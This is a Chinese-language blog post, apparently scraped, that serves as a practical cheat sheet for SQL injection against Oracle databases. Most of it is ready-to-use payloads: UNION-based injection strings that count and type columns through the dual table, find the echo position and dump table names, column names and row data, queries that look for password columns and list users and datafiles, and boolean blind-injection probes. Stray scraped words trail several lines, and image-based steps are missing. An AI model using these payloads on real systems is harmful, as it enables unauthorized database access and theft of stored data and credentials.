【實戰】Oracle注入總結

小結:數據庫

Union聯合查詢:
  order by 定字段
  and 1=2 union select null,null..... from dual 而後一個一個去判斷字段類型,方法以下
  and 1=2 union select 'null',null...... from dual 返回正常,說明第一個字段是字符型,反之爲數字型
    第一個字段是字符型,判斷第二個字段類型:
    and 1=2 union select 'null','null'...... from dual 返回正常,說明第二個字段是字符型,反之爲數字型
    第一個字段是數字型,判斷第二個字段類型:
    and 1=2 union select null,'null'...... from dual 返回正常,說明第二個字段是字符型,反之爲數字型
  判斷第n個字段的類型,依次類推便可
  肯定回顯位,假設當前共2個字段,全是數字型,判斷方式以下:
  and 1=2 union select 1,2 from dual
  假設回顯位是2,爆當前數據庫中的第一個表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
  爆當前數據庫中的第二個表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual
  以此類推去爆第n個表
  爆某表中的第一個字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual
  爆某表中的第二個字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個字段')) from dual
  爆其它字段以此類推
  爆某表中的第一行數據:
  and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --鏈接多個字段用到的鏈接符號是||,在oracle數據庫中,concat函數只能鏈接兩個字符串oracle

  經過字段名找到對應表:
  SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; 函數

  查詢第N行:
  SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)spa

  當前用戶:
  SELECT user FROM dual;3d

  列出全部用戶:
  SELECT username FROM all_users ORDER BY username;blog

  列出數據庫
  SELECT DISTINCT owner FROM all_tables; ci

  列出表名:
  SELECT table_name FROM all_tables;
  SELECT owner, table_name FROM all_tables;字符串

  列出字段名:
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;io

  定位DB文件:
  SELECT name FROM V$DATAFILE;table

實例:

1、UNION聯合查詢型注入

一、判斷注入點類型

注入點類型爲單引號字符型

二、order by定字段

三、肯定每一個字段的類型

oracle自帶虛擬表dual,oracle的查詢語句必須完整的包含from字句,且每一個字段的類型都要準確對應,通常使用null來判斷類型。

 

第一個字段爲數字型

 

第二個字段爲字符型

四、肯定回顯位

 

 

 五、爆表

用戶第一個表

或者

其它表使用相同方法便可爆出

六、爆字段

這裏以我爆出的用戶賬號表爲例進行爆字段

爆第二個字段,方法和爆第二個表同樣,加個刪選條件就好了

 

 其它的相似

七、爆值

oracle的字符鏈接用||符號,或者用concat,可是concat只能鏈接連個字符串(能夠嵌套實現鏈接多個字符串),我這裏用||符號鏈接輸出的字符串。

爆其它數據的方法和爆表,爆字段的同樣,這裏再也不贅述。

 2、布爾型盲注

這裏貼一些語句,具體就不手工作了

(select length(table_name) from user_tables where rownum=1)>5

(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100

(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)

(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>100

暫時整理到這裏......

相關文章
相關標籤/搜索